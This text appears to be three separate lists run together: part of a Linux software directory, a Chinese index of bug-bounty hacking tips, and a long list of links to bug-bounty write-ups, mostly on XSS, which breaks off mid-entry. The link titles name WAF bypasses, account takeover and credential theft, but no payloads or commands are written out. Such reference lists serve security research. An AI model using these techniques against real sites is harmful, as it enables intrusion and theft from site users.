[Bismuth](https://bismuth-forge.github.io/bismuth/) - Making tiling window management easy. On KDE Plasma. - [![Open-Source Software][oss icon]](https://github.com/baskerville/bspwm) [Bspwm](https://github.com/baskerville/bspwm/wiki) - Bspwm is a tiling window manager that represents windows as the leaves of a full binary tree. - [![Open-Source Software][oss icon]](https://github.com/herbstluftwm/herbstluftwm) [Herbstluftwm](https://herbstluftwm.org) - Is a Manual tiling window manager for X11 using Xlib and Glib. - [![Open-Source Software][oss icon]](https://github.com/i3/i3) [i3 WM](https://i3wm.org/) - A better tiling and dynamic window manager. It's completely written from scratch. The target platforms are GNU/Linux and BSD operating systems. - [![Open-Source Software][oss icon]](https://github.com/pop-os/shell) [Pop!\_OS Shell](https://github.com/pop-os/shell) - Pop Shell is a keyboard-driven auto-tiling window manager that run on top of the GNOME shell. - [![Open-Source Software][oss icon]](https://github.com/qtile/qtile) [Qtile](http://www.qtile.org/) - Qtile is a full-featured, hackable tiling window manager written and configured in Python. ### Dynamic Window Managers - [![Open-Source Software][oss icon]](https://github.com/awesomeWM/awesome) [awesome](https://awesomewm.org) - A highly configurable, next generation framework window manager for X. - [![Open-Source Software][oss icon]](https://github.com/cdown/dwm) [dwm](https://dwm.suckless.org) - A dynamic window manager for X. It manages windows in tiled, monocle and floating layouts. - [![Open-Source Software][oss icon]](https://github.com/esjeon/krohnkite) [Kröhnkite](https://github.com/esjeon/krohnkite) - A dynamic tiling extension for KWin. - [![Open-Source Software][oss icon]](https://github.com/conformal/spectrwm) [spectrwm](https://github.com/conformal/spectrwm) - A small dynamic tiling window manager for X11, largely inspired by xmonad and dwm. - [![Open-Source Software][oss icon]](https://github.com/codic12/worm) [Worm](https://github.com/codic12/worm) - A dynamic, tag-based window manager written in Nim. - [![Open-Source Software][oss icon]](https://github.com/xmonad/xmonad) [xmonad](https://xmonad.org) - A dynamically tiling X11 window manager that is written and configured in Haskell. ## Linux News, Apps, and more: - [9To5Linux](https://9to5linux.com/) - [AllTop](https://linux.alltop.com/) - [ArchiveOS](https://archiveos.org/linux/) - [Are We Anti-Cheat Yet?](https://areweanticheatyet.com/) - [Dedoimedo](https://www.dedoimedo.com/) - [DistroTube](https://distrotube.com/) - [DistroWatch](https://distrowatch.com/) - [FAMILUG](https://www.familug.org/) - [GamingOnLinux](https://www.gamingonlinux.com/) - [How-To Geek](https://www.howtogeek.com/t/linux/) - [ITSFOSS](https://itsfoss.com/) - [Lemmy c/Linux](https://lemmy.ml/c/linux) - [Liliputing](https://liliputing.com/) - [Linoxide](https://linoxide.com/) - [Linux Gaming Central](https://linuxgamingcentral.com/) - [LinuxHandbook](https://linuxhandbook.com/) - [LinuxLinks](https://www.linuxlinks.com/) - [Linux official](https://www.linux.com/) - [LinuxSmartphones](https://linuxsmartphones.com/) - [LinuxStans](https://linuxstans.com/) - [Linux Timeline](https://github.com/FabioLolix/LinuxTimeline/releases) - [LWN](https://lwn.net/) - [Make use of](https://www.makeuseof.com/service/linux/) - [Nixcraft forum](https://www.nixcraft.com/) - [Nixcraft](https://www.cyberciti.biz/) - [Noobslab](https://www.noobslab.com/) - [OMG!Linux](https://www.omglinux.com/) - [OMG!Ubuntu](https://www.omgubuntu.co.uk/) - [Open Source](https://opensource.com/) - [Phoronix](https://www.phoronix.com/) - [ProtonDB](https://www.protondb.com/) - [Repology](https://repology.org/) - [Slashdot](https://linux.slashdot.org/) - [TecMint](https://www.tecmint.com/) - [Ubuntu Geek](https://www.ubuntugeek.com/) - [UbuntuHandbook](https://ubuntuhandbook.org/) - [Unixmen](https://www.unixmen.com/) - [Webupd8](http://www.webupd8.org/) - [WineDB](https://appdb.winehq.org/) ## Reddit - [AlmaLinux](https://www.reddit.com/r/AlmaLinux/) - [Arch Linux](https://www.reddit.com/r/archlinux/) - [Asahi Linux](https://www.reddit.com/r/AsahiLinux/) - [AwesomeWM](https://www.reddit.com/r/awesomewm/) - [CentOS](https://www.reddit.com/r/CentOS/) - [Cinnamon DE](https://www.reddit.com/r/CinnamonDE/) - [Command Line](https://www.reddit.com/r/commandline/) - [Debian](https://www.reddit.com/r/debian/) - [Deepin](https://www.reddit.com/r/deepin/) - [elementary OS](https://www.reddit.com/r/elementaryos/) - [EndeavourOS](https://www.reddit.com/r/EndeavourOS/) - [Fedora](https://www.reddit.com/r/Fedora/) - [FreeBSD](https://www.reddit.com/r/freebsd/) - [Garuda Linux](https://www.reddit.com/r/GarudaLinux/) - [Gentoo Linux](https://www.reddit.com/r/Gentoo/) - [GNOME](https://www.reddit.com/r/gnome/) - [Haiku](https://www.reddit.com/r/haikuOS/) - [i3 Window Manager](https://www.reddit.com/r/i3wm/) - [Kali Linux](https://www.reddit.com/r/Kalilinux/) - [KDE](https://www.reddit.com/r/kde/) - [Kubuntu](https://www.reddit.com/r/Kubuntu/) - [Linux4Noobs](https://www.reddit.com/r/linux4noobs/) - [Linux](https://www.reddit.com/r/linux/) - [Linux From Scratch](https://www.reddit.com/r/linuxfromscratch/) - [Linux Gaming](https://www.reddit.com/r/linux_gaming/) - [Linux Hardware](https://www.reddit.com/r/linuxhardware/) - [Linux Kernel](https://www.reddit.com/r/kernel/) - [Linux Mint](https://www.reddit.com/r/linuxmint/) - [Linux Questions](https://www.reddit.com/r/linuxquestions/) - [Manjaro](https://www.reddit.com/r/ManjaroLinux/) - [Nix](https://www.reddit.com/r/Nix/) - [NixOS](https://www.reddit.com/r/NixOS/) - [Open Source](https://www.reddit.com/r/opensource/) - [openSUSE](https://www.reddit.com/r/openSUSE/) - [Pop!\_OS](https://www.reddit.com/r/pop_os/) - [Qubes OS](https://www.reddit.com/r/Qubes/) - [Red Hat](https://www.reddit.com/r/redhat/) - [Rocky Linux](https://www.reddit.com/r/RockyLinux/) - [Slackware](https://www.reddit.com/r/slackware/) - [Solus Project](https://www.reddit.com/r/SolusProject/) - [Sway Window Manager](https://www.reddit.com/r/swaywm/) - [Tails](https://www.reddit.com/r/tails/) - [Ubuntu](https://www.reddit.com/r/Ubuntu/) - [Unix Porn](https://www.reddit.com/r/unixporn/) - [Void Linux](https://www.reddit.com/r/voidlinux/) - [Whonix](https://www.reddit.com/r/Whonix/) - [Xfce](https://www.reddit.com/r/xfce/) - [Xubuntu](https://www.reddit.com/r/xubuntu/) - [Zorin OS](https://www.reddit.com/r/zorinos/) ## Contributors Thanks to [**All of Github contributors**](https://github.com/LewisVo/Awesome-Linux-Software/graphs/contributors) for making this list possible and _Everyone @ reddit.com/r/linux & reddit.com/r/ubuntu & vozforums.com & other forums for many suggestions and compliments_ ... **[⬆ back to top](#table-of-contents)** <br> ## Guidelines to contribute > Simply put the name of the **application** in the list. > Link to its **homepage** or a **guide** on how to install it. > Also write a **short description** for the application + add **icon**. > Make sure it is put under the **appropriate topic**. > If the application doesn't fit in any **existing topic**, make a **new one** for it. > Ensure everything is **alphabetically sorted**. ## Unsure how to contribute? - [How to Use Github](https://guides.github.com/activities/forking/) - [How to Git from the Command Line](https://rogerdudler.github.io/git-guide/) - [What is Markdown?](https://github.com/luong-komorebi/Markdown-Tutorial) - Markdown is the writing method used to create this list, if you want to know how to format properly, it's best that you learn how to use Github Markdown. - [Alternative Markdown Guide](https://guides.github.com/features/mastering-markdown/) _Items marked with ![Open-Source Software][oss icon] are open-source software and link to the source code. Items marked with ![Nonfree][freeware icon] are nonfree (as in nonfree beer). Items marked with ![Nonfree][money icon] are nonfree (as in nonfree beer) and will cost money to use._ <br> _Author's note: Recently, I received feedback from you about the quality of some of the applications on this list. I have tested a lot of these, but not all. If you have any problems with the apps, please: -> head to the dev page (if available) -> make an issue for the dev there -> make an issue here so that I can consider whether I should remove the app from the list. Remember : Every piece of software has it's own merits, so there will never be anything like "best app" or "selective list" here, thank you._ <br> ## License [![Creative Commons License](https://i.creativecommons.org/l/by/4.0/88x31.png)](https://creativecommons.org/licenses/by/4.0/) This work is licensed under a [Creative Commons Attribution 4.0 International License](https://creativecommons.org/licenses/by/4.0/). [oss icon]: ./img/oss.svg [freeware icon]: ./img/freeware.svg [money icon]: ./img/money.svg
# BountyTips _在线访问地址:https://forum.ywhack.com/bountytips.php_ * 命令组合:https://forum.ywhack.com/bountytips.php?onecommand * Red Team:https://forum.ywhack.com/bountytips.php?redteam * XSS Tips:https://forum.ywhack.com/bountytips.php?xss * RCE Tips:https://forum.ywhack.com/bountytips.php?RCE * Bypass:https://forum.ywhack.com/bountytips.php?Bypass * Redis:https://forum.ywhack.com/bountytips.php?redis * Mysql:https://forum.ywhack.com/bountytips.php?mysql * SSRF Tips:https://forum.ywhack.com/bountytips.php?SSRFTips * 重定向:https://forum.ywhack.com/bountytips.php?OpenRedirect * 文件上传:https://forum.ywhack.com/bountytips.php?FileUpload * 流量隧道:https://forum.ywhack.com/bountytips.php?tunnel Hey,My hacker friends: 这里收集了一些常用的命令组合以及从各大社交媒体网站,如Twitter\Weibo\Fackbook等收集整理的一些优秀的BountyTips(多数翻译自[Book of BugBounty Tips](https://gowsundar.gitbook.io/book-of-bugbounty-tips/)),大部分姿势我都注明了原作者,如有遗漏或不欢迎出现在这的,可以联系我们告知,我们将及时清理;同时我们对每种姿势进行了分类整理,如XSS、SSRF、RCE、SSTI、Tricks等等,后期可能会出离线版本提供社区会员下载,感谢所有有着共同兴趣爱好的朋友!! **Tips:鼠标移动至蓝色的菜单栏上以显示所有的子分类.** 同时也欢迎各位大佬们能够分享一些有趣的小姿势,希望这里能够让大家在各种场景下都能及时找到有用的小技巧. Know it then hack it! by 80sec. **推荐其它一些优秀收集BugBountyTips的项目:** 1.[Book of BugBounty Tips](https://gowsundar.gitbook.io/book-of-bugbounty-tips/) 2.[KingOfBugBountyTips](https://github.com/KingOfBugbounty/KingOfBugBountyTips) 3.[InfosecMatter BugBountyTips](https://www.infosecmatter.com/bug-bounty-tips/) 4.[Twitter #BugBountyTips tags](https://twitter.com/hashtag/bugbountytips) 持续更新中....
## Contents - [Cross Site Scripting (XSS)](https://github.com/devanshbatham/Awesome-Bugbounty-Writeups#cross-site-scripting-xss) - [Cross Site Request Forgery (CSRF)](https://github.com/devanshbatham/Awesome-Bugbounty-Writeups#cross-site-request-forgery-csrf) - [Clickjacking (UI Redressing Attack)](https://github.com/devanshbatham/Awesome-Bugbounty-Writeups#clickjacking-ui-redressing-attack) - [Local File Inclusion (LFI)](https://github.com/devanshbatham/Awesome-Bugbounty-Writeups#local-file-inclusion-lfi) - [Subdomain Takeover](https://github.com/devanshbatham/Awesome-Bugbounty-Writeups#subdomain-takeover) - [Denial of Service (DOS)](https://github.com/devanshbatham/Awesome-Bugbounty-Writeups#denial-of-service-dos) - [Authentication Bypass](https://github.com/devanshbatham/Awesome-Bugbounty-Writeups#authentication-bypass) - [SQL injection](https://github.com/devanshbatham/Awesome-Bugbounty-Writeups#sql-injectionsqli) - [Insecure Direct Object Reference (IDOR)](https://github.com/devanshbatham/Awesome-Bugbounty-Writeups#insecure-direct-object-reference-idor) - [2FA Related issues](https://github.com/devanshbatham/Awesome-Bugbounty-Writeups#2fa-related-issues) - [CORS Related issues](https://github.com/devanshbatham/Awesome-Bugbounty-Writeups#cors-related-issues) - [Server Side Request Forgery (SSRF)](https://github.com/devanshbatham/Awesome-Bugbounty-Writeups/blob/master/README.md#server-side-request-forgery-ssrf) - [Race Condition](https://github.com/devanshbatham/Awesome-Bugbounty-Writeups/blob/master/README.md#race-condition) - [Remote Code Execution (RCE)](https://github.com/devanshbatham/Awesome-Bugbounty-Writeups#remote-code-execution-rce) - [Android Pentesting](https://github.com/devanshbatham/Awesome-Bugbounty-Writeups#android-pentesting) - [Contributing](https://github.com/devanshbatham/Awesome-Bugbounty-Writeups#contributing) - [Maintainers](https://github.com/devanshbatham/Awesome-Bugbounty-Writeups#maintainers) ## Cross Site Scripting (XSS) - [From P5 to P2 to 100 BXSS](https://medium.com/@mohameddaher/from-p5-to-p5-to-p2-from-nothing-to-1000-bxss-4dd26bc30a82) - [Google Acquisition XSS (Apigee)](https://medium.com/@TnMch/google-acquisition-xss-apigee-5479d7b5dc4) - [XSS on Microsoft.com via Angular Js template injection](https://medium.com/@impratikdabhi/reflected-xss-on-microsoft-com-via-angular-template-injection-2e26d80a7fd8) - [Researching Polymorphic Images for XSS on Google Scholar](https://blog.doyensec.com/2020/04/30/polymorphic-images-for-xss.html) - [Netflix Party Simple XSS](https://medium.com/@kristian.balog/netflix-party-simple-xss-ec92ed1d7e18) - [Stored XSS in google nest](https://medium.com/bugbountywriteup/stored-xss-in-google-nest-a82373bbda68) - [Self XSS to persistent XSS on login portal](https://medium.com/@nnez/always-escalate-from-self-xss-to-persistent-xss-on-login-portal-54265b0adfd0) - [Universal XSS affecting Firefox ](https://0x65.dev/blog/2020-03-30/cve-2019-17004-semi-universal-xss-affecting-firefox-for-ios.html) - [XSS WAF Character limitation bypass like a boss](https://medium.com/bugbountywriteup/xss-waf-character-limitation-bypass-like-a-boss-2c788647c229) - [Self XSS to Account Takeover ](https://medium.com/@ch3ckm4te/self-xss-to-account-takeover-72c89775cf8f) - [Reflected XSS on Microsoft subdomains ](https://medium.com/bugbountywriteup/reflected-xss-on-microsoft-com-subdomains-4bdfc2c716df) - [The tricky XSS](https://smaranchand.com.np/2020/02/the-tricky-xss/) - [Reflected XSS in AT&T](https://medium.com/@godofdarkness.msf/reflected-xss-in-at-t-7f1bdd10d8f7) - [XSS on Google using Acunetix ](https://www.acunetix.com/blog/web-security-zone/xss-google-acunetix/) - [Exploiting websocket application wide XSS](https://medium.com/@osamaavvan/exploiting-websocket-application-wide-xss-csrf-66e9e2ac8dfa) - [Reflected XSS with HTTP Smuggling ](https://hazana.xyz/posts/escalating-reflected-xss-with-http-smuggling/) - [XSS on Facebook instagram CDN server bypassing signature protection ](https://www.amolbaikar.com/xss-on-facebook-instagram-cdn-server-bypassing-signature-protection/) - [XSS on Facebook's Acquisition Oculus](https://www.amolbaikar.com/xss-on-facebooks-acquisition-oculus-cdn-server/) - [XSS on sony Subdomain ](https://medium.com/@gguzelkokar.mdbf15/xss-on-sony-subdomain-feddaea8f5ac) - [Exploiting Self XSS ](https://footstep.ninja/posts/exploiting-self-xss/) - [Effortlessly Finding Cross Site Scripting inclusion XSSI ](https://medium.com/bugbountywriteup/effortlessly-finding-cross-site-script-inclusion-xssi-jsonp-for-bug-bounty-38ae0b9e5c8a) - [Bugbounty a DOM XSS](https://jinone.github.io/bugbounty-a-dom-xss/) - [Blind XSS : a mind Game ](https://medium.com/@dirtycoder0124/blind-xss-a-mind-game-to-win-the-battle-4fc67c524678?) - [FireFox IOS QR code reader XSS(CVE-2019-17003)](https://payatu.com/blog/nikhil-mittal/firefox-ios-qr-code-reader-xss-(cve-2019-17003)) - [HTML injection to XSS](https://evanricafort.blogspot.com/2019/12/html-injection-to-xss-bypass-in.html) - [CVE-2020-13487 | Authenticated Stored Cross-site Scripting in bbPress](https://hackerone.com/reports/881918) - [XSS at error page of repository code ](https://medium.com/@navne3t/150-xss-at-error-page-of-respository-code-4fc628892742) - [XSS like a Pro](https://www.hackerinside.me/2019/12/xss-like-pro.html) - [How I turned self XSS to stored XSS via CSRF](https://medium.com/@abhishake100/how-i-turned-self-xss-to-stored-via-csrf-d12eaaf59f2e) - [XSS Stored on Outlook web](https://medium.com/@elmrhassel/xss-stored-on-outlook-web-outlook-android-app-ad4bd46b8823) - [XSS Bug 20 Chars Blind XSS Payload](https://medium.com/@mohameddaher/how-i-paid-2-for-1054-xss-bug-20-chars-blind-xss-payloads-12d32760897b) - [XSS in AMP4EMAIL(DOM clobbering)](https://research.securitum.com/xss-in-amp4email-dom-clobbering/) - [DOM Based XSS bug bounty writeup](https://hacknpentest.com/dom-based-xss-bug-bounty-writeup/) - [XSS will never die ](https://medium.com/@04sabsas/xss-will-never-die-eb3584081a5f) - [5000 USD XSS issue at avast desktop antivirus](https://medium.com/bugbountywriteup/5-000-usd-xss-issue-at-avast-desktop-antivirus-for-windows-yes-desktop-1e99375f0968) - [XSS to account takeover](https://noobe.io/articles/2019-10/xss-to-account-takeover) - [How Paypal helped me to generate XSS](https://medium.com/@pflash0x0punk/how-paypal-helped-me-to-generate-xss-9408c0931add) - [Bypass Uppercase filters like a PRO(XSS advanced methods)](https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce) - [Stealing login credentials with reflected XSS ](https://medium.com/@mehulcodes/stealing-login-credentials-with-reflected-xss-7cb450bf5710) - [bughunting xss on cookie popup warning ](https://victoni.github.io/bug-hunting-xss-on-cookie-popup-warning/) - [XSS is love](https://nirmaldahal.com.np/xss-is-love/) - [Oneplus XSS vulnerability in customer support portal](https://medium.com/@tech96bot/oneplus-xss-vulnerability-in-customer-support-portal-d5887a7367f4) - [Exploiting cookie based XSS by finding RCE ](https://noobe.io/articles/2019-09/exploiting-cookie-based-xss-by-finding-rce) - [Stored XSS on zendesk via macros ](https://medium.com/@hariharan21/stored-xss-on-zendesk-via-macros-part-2-676cefee4616) - [XSS in ZOHO main](https://www.hackerinside.me/2019/09/xss-in-zoho-mail.html) - [DOM based XSS in private program](https://www.mohamedharon.com/2019/09/dom-based-xss-in-private-program.html) - [Bugbounty writeup : Take Attention and get stored XSSS](https://medium.com/@04sabsas/bugbounty-writeup-take-attention-and-get-stored-xss-495dd6eab07e) - [How I xssed admin account ](https://gauravnarwani.com/how-i-xssed-admin-account/) - [Clickjacking XSS on google ](https://websecblog.com/vulns/clickjacking-xss-on-google-org/) - [Stored XSS on laporbugid](https://learn.hackersid.com/2019/08/stored-xss-on-laporbugid.html) - [Leveraging angularjs based XSS to privilege escalation](https://www.shawarkhan.com/2019/08/leveraging-angularjs-based-xss-to-privilege-escalation.html) - [How I found XSS by searching in shodan](https://blog.usejournal.com/how-i-found-xss-by-searching-in-shodan-6943b799e648) - [Chaining caache poisining to stored XSS](https://medium.com/@nahoragg/chaining-cache-poisoning-to-stored-xss-b910076bda4f) - [XSS to RCE ](https://medium.com/@hungrybytes/xss-to-rce-in-e20b2bc55f94) - [XSS on twitter worth 1120](https://medium.com/@bywalks/xss-on-twitter-worth-1120-914dcd28ee18) - [Reflected XSS in ebay.com](https://medium.com/@madguyyy/reflected-xss-in-ebay-com-60a9d61e26cd) - [Cookie based XSS exolpoitation 2300 bug bounty ](https://medium.com/@iSecMax/сookie-based-xss-exploitation-2300-bug-bounty-story-9bc532ffa564) - [What do netcat -SMTP-self XSS have in common ](https://medium.com/bugbountywriteup/what-do-netcat-smtp-and-self-xss-have-in-common-stored-xss-a05648b72002) - [XSS on google custom search engine ](https://thesecurityexperts.wordpress.com/2019/07/11/xss-on-google-custom-search-engine/) - [Story of a Full Account Takeover vulnerability N/A to Accepted ](https://medium.com/@nandwanajatin25/story-of-a-stored-xss-to-full-account-takeover-vulnerability-n-a-to-accepted-8478aa5e0d8e) - [Yeah I got p2 in 1 minute stored XSS via markdown editor ](https://medium.com/@schopath/yeah-i-got-p2-in-1-minute-stored-xss-via-markdown-editor-7872dba3f158) - [Stored XSS on indeed ](https://cyberzombie.in/stored-xss-on-indeed/) - [Self XSS to evil XSS](https://medium.com/@saadahmedx/self-xss-to-evil-xss-bcf2494a82a4) - [How a classical XSS can lead to persistent ATO vulnerability](https://hackademic.co.in/how-a-classical-xss-can-lead-to-persistent-ato-vulnerability/) - [Reflected XSS in tokopedia train ticket ](https://visat.me/security/reflected-xss-in-tokopedia-train-ticket/) - [Bypassing XSS filter and stealing user credit card data](https://medium.com/@osamaavvan/bypassing-xss-filter-and-stealing-user-credit-card-data-100f247ed5eb) - [Googleplex.com blind XSS](https://websecblog.com/vulns/googleplex-com-blind-xss/) - [Reflected XSS on error page ](https://noobe.io/articles/2019-06/reflected-xss-on-error-page) - [How I was able to get private ticket response panel and fortigate web panel via blind XSS ](https://pwnsec.ninja/2019/06/06/how-i-was-able-to-get-private-ticket-response-panel-and-fortigate-web-panel-via-blind-xss/) - [Unicode vs WAF](https://medium.com/bugbountywriteup/unicode-vs-waf-xss-waf-bypass-128cd9972a30) - [Story of URI based XSS with some simple google dorking ](https://medium.com/@nandwanajatin25/story-of-a-uri-based-xss-with-some-simple-google-dorking-e1999254aa55) - [Stored XSS on edmodo](https://medium.com/@matarpan33r/stored-xss-on-edmodo-67b244824fa5) - [XSSed my way to 1000](https://gauravnarwani.com/xssed-my-way-to-1000/) - [Try harder for XSS](https://medium.com/@fbotes2/try-harder-for-xss-7aa3657255a1) - [From parameter pollution to XSS](https://medium.com/@momenbasel/from-parameter-pollution-to-xss-d095e13be060) - [MIME sniffing XSS](https://www.komodosec.com/post/mime-sniffing-xss) - [Stored XSS on techprofile Microsoft ](https://medium.com/@kang_ali/stored-xss-on-techprofile-microsoft-d21757588cc1) - [Tale of a wormable Twitter XSS](https://www.virtuesecurity.com/tale-of-a-wormable-twitter-xss/) - [XSS attacks google bot index manipulation](http://www.tomanthony.co.uk/blog/xss-attacks-googlebot-index-manipulation/) - [From Reflected XSS to Account takeover ](https://medium.com/a-bugz-life/from-reflected-xss-to-account-takeover-showing-xss-impact-9bc6dd35d4e6) - [Stealing local storage data through XSS](http://blog.h4rsh4d.com/2019/04/stealing-local-storage-data-through-xss.html) - [CSRF attack can lead to stored XSS](https://medium.com/bugbountywriteup/csrf-attack-can-lead-to-stored-xss-f40ba91f1e4f) - [XSS Reflected (filter bypass)](https://medium.com/bugbountywriteup/xss-reflected-xss-bypass-filter-de41d35239a3) - [XSS protection bypass on hackerone private program](https://medium.com/@bughunter.sec7/how-i-was-able-to-bypass-xss-protection-on-hackerones-private-program-8914a31339a9) - [Just 5 minutes to get my 2nd Stored XSS on edmodo.com](https://medium.com/@ZishanAdThandar/just-5-minute-to-get-my-2nd-stored-xss-on-edmodo-com-fe2ee559e00d) - [Multiple XSS in skype.com ](https://medium.com/@jayateerthag/multiple-xss-in-skype-com-2-18cfed39edbd) - [Obtaining XSS using moodle featured and minor bugs ](https://medium.com/@daniel.thatcher/obtaining-xss-using-moodle-features-and-minor-bugs-2035665989cc) - [XSS on 403 forbidden bypass akamai WAF](https://medium.com/@bughunter.sec7/xss-403-forbidden-bypass-akamai-security-write-up-b341f588efb5) - [How I was turn self XSS into reflected XSS](https://medium.com/@heinthantzin/how-i-was-able-to-turn-self-xss-into-reflected-xss-850e3d5a2beb) - [A Tale of 3 XSS](https://gauravnarwani.com/a-tale-of-3-xss/) - [Stored XSS on Google.com](https://medium.com/@bughunter.sec7/stored-xss-on-google-com-e7ac12f03b8e) - [Stored XSS in the Guides gameplaersion (www.dota2.com)](https://medium.com/@bughunter.sec7/stored-xss-in-the-guides-gameplayversion-www-dota2-com-775fa9a1889b) - [Admin google.com reflected XSS](https://buer.haus/2015/01/21/admin-google-com-reflected-cross-site-scripting-xss/) - [Paypal Stored security bypass ](https://blog.it-securityguard.com/bugbounty-paypal-stored-xss-security-bypass/) - [Paypal DOM XSS main domain](https://blog.it-securityguard.com/bugbounty-paypal-dom-xss-main-domain/) - [Bugbounty : The 5k$ Google XSS](https://blog.it-securityguard.com/bugbounty-the-5000-google-xss) - [Facebook stored XSS](https://buer.haus/2014/06/16/facebook-stored-cross-site-scripting-xss-badges/) - [Ebay mobile reflected XSS](https://thehackerblog.com/ebay-mobile-reflected-xss-disclosure-writeup/index.html) - [Magix bugbounty XSS writeup](https://www.rcesecurity.com/2014/04/magix-bug-bounty-magix-com-rce-sqli-and-xara-com-lfi-xss/) - [Abusing CORS for an XSS on flickr ](https://whitton.io/articles/abusing-cors-for-an-xss-on-flickr/) - [XSS on google groups ](https://manuel-sousa.blogspot.com/2013/11/xss-google-groups-groupsgooglecom.html) - [Oracle XSS](http://blog.shashank.co/2013/11/oracle-xss.html) - [Content types and XSS Facebook Studio](https://whitton.io/articles/content-types-and-xss-facebook-studio/) - [Admob Creative image XSS](https://bitquark.co.uk/blog/2013/07/19/admob_creative_image_xss) - [Amazon Packaging feedback XSS](https://bitquark.co.uk/blog/2013/07/03/amazon_packaging_feedback_xss) - [PaypalTech XSS ](https://www.rcesecurity.com/2013/04/paypal-bug-bounty-paypaltech-com-xss/) - [Persistent XSS on my world](https://whitton.io/archive/persistent-xss-on-myworld-ebay-com/) - [Google VRP XSS in device management](https://sites.google.com/securifyinc.com/vrp-writeups/gsuite/bookmark-xss-device-management) - [Google VRP XSS](https://sites.google.com/securifyinc.com/vrp-writeups/hire-with-google/xsses) - [Google VRP Blind XSS](https://sites.google.com/securifyinc.com/vrp-writeups/hire-with-google/blind-xss) - [WAZE XSS](https://sites.google.com/securifyinc.com/vrp-writeups/waze/waze-xss) - [Referer Based XSS](https://medium.com/@arbazhussain/referer-based-xss-52aeff7b09e7) - [How we invented the Tesla DOM XSS](https://labs.detectify.com/2017/07/27/how-we-invented-the-tesla-dom-doom-xss/) - [Stored XSS on rockstar game](https://medium.com/@arbazhussain/stored-xss-on-rockstar-game-c008ec18d071) - [How I was able to bypass strong XSS protection in well known website imgur.com](https://medium.com/bugbountywriteup/how-i-was-able-to-bypass-strong-xss-protection-in-well-known-website-imgur-com-8a247c527975) - [Self XSS to Good XSS](https://medium.com/@arbazhussain/self-xss-to-good-xss-clickjacking-6db43b44777e) - [That escalated quickly : from partial CSRF to reflected XSS to complete CSRF to Stored XSS](https://medium.com/@ciph3r7r0ll/that-escalated-quickly-from-partial-csrf-to-reflected-xss-to-complete-csrf-to-stored-xss-6ba8103069c2) - [XSS using dynamically generated js file](https://medium.com/@arbazhussain/xss-using-dynamically-generated-js-file-a7a10d05ff08) - [Bypassing XSS filtering at anchor Tags](https://medium.com/@arbazhussain/bypassing-xss-filtering-at-anchor-tags-706dde7b8090) - [XSS by tossing cookies](https://wesecureapp.com/blog/xss-by-tossing-cookies/) - [Coinbase angularjs dom XSS via kiteworks](http://www.paulosyibelo.com/2017/07/coinbase-angularjs-dom-xss-via-kiteworks.html) - [Medium Content spoofing and XSS](https://ahussam.me/Medium-content-spoofing-xss/) - [Managed Apps and music a tale of two XSSes in Google play](https://ysx.me.uk/managed-apps-and-music-a-tale-of-two-xsses-in-google-play/) - [Making an XSS triggered by CSP bypass on twitter ](https://medium.com/@tbmnull/making-an-xss-triggered-by-csp-bypass-on-twitter-561f107be3e5) - [Escalating XSS in phantomjs image rendering to SSRF](https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/) - [Reflected XSS in Simplerisk](https://www.seekurity.com/blog/general/reflected-xss-vulnerability-in-simplerisk/) - [Stored XSS in the heart of the russian email provider](https://www.seekurity.com/blog/general/stored-xss-in-the-heart-of-the-russian-email-provider-giant-mail-ru/) - [How I built an XSS worm on atmail](https://www.bishopfox.com/blog/2017/06/how-i-built-an-xss-worm-on-atmail/) - [XSS on bugcrowd and so many other websites main domain](https://blog.witcoat.com/2018/05/30/xss-on-bugcrowd-and-so-many-other-websites-main-domain/) - [Godaddy XSS affects parked domains redirector Processor](https://www.seekurity.com/blog/write-ups/godaddy-xss-affects-parked-domains-redirector-processor/) - [Stored XSS in Google image search](https://sites.google.com/site/bugbountybughunter/home/stored-xss-in-google-image-search) - [A pair of plotly bugs stored XSS abd AWS metadata](https://ysx.me.uk/a-pair-of-plotly-bugs-stored-xss-and-aws-metadata-ssrf/) - [Near universal XSS in mcafee web gateway](https://blog.ettic.ca/near-universal-xss-in-mcafee-web-gateway-cf8dfcbc8fc3) - [Penetrating Pornhub XSS vulns](https://www.jonbottarini.com/2017/03/16/penetrating-pornhub-xss-vulns-galore-plus-a-cool-shirt/) - [How I found a 5000 Google maps XSS by fiddling with protobuf](https://medium.com/@marin_m/how-i-found-a-5-000-google-maps-xss-by-fiddling-with-protobuf-963ee0d9caff) - [Airbnb when bypassing json encoding XSS filter WAF CSP and auditior turns into eight vulnerabilities](https://buer.haus/2017/03/08/airbnb-when-bypassing-json-encoding-xss-filter-waf-csp-and-auditor-turns-into-eight-vulnerabilities/) - [Lightwight markup a trio of persistent XSS in gitlab](https://ysx.me.uk/lightweight-markup-a-trio-of-persistent-xss-in-gitlab/) - [XSS ONE BAY](https://whitehatnepal.tumblr.com/post/153333332112/xssonebay) - [SVG XSS in unifi](https://guptashubham.com/svg-xss-in-unifi-v5-0-2/) - [Stored XSS in unifi V4.8.12 controller](https://guptashubham.com/stored-xss-in-unifi-v4-8-12-controller/) - [Turning self XSS into good XSS v2](https://httpsonly.blogspot.com/2016/08/turning-self-xss-into-good-xss-v2.html) - [SWF XSS DOM Based XSS](https://guptashubham.com/swf-xss-dom-based-xss/) - [XSS filter bypass in Yahoo Dev flurry](https://guptashubham.com/xss-filter-bypass-in-yahoo-dev-flurry-com/) - [XSS on Flickr](https://guptashubham.com/xss-on-flickr/) - [Two vulnerabilities makes an exploit XSS and csrf in bing](https://medium.com/bugbountywriteup/two-vulnerabilities-makes-an-exploit-xss-and-csrf-in-bing-cd4269da7b69) - [Runkeeper stored XSS](https://www.seekurity.com/blog/general/runkeeper-stores-xss-vulnerability/) - [Google sleeping XSS awakens 5k bounty](https://blog.it-securityguard.com/bugbounty-sleeping-stored-google-xss-awakens-a-5000-bounty/) - [Poisoning the well compromising godaddy customer support with blind XSS](https://thehackerblog.com/poisoning-the-well-compromising-godaddy-customer-support-with-blind-xss/index.html) - [UBER turning self XSS to good XSS](https://whitton.io/articles/uber-turning-self-xss-into-good-xss/) - [XSS on facebook via png content types](https://whitton.io/articles/xss-on-facebook-via-png-content-types/) - [Cloudflare XSS](https://ahussam.me/Cloudflare-xss/) - [How I found XSS Vulnerability in Google ](https://zombiehelp54.blogspot.com/2015/09/how-i-found-xss-vulnerability-in-google.html) - [XSS to RCE](https://matatall.com/xss/rce/bugbounty/2015/09/08/xss-to-rce.html) - [One payload to XSS them all](https://ahussam.me/One-payload-to-xss-them/) - [Self XSS on 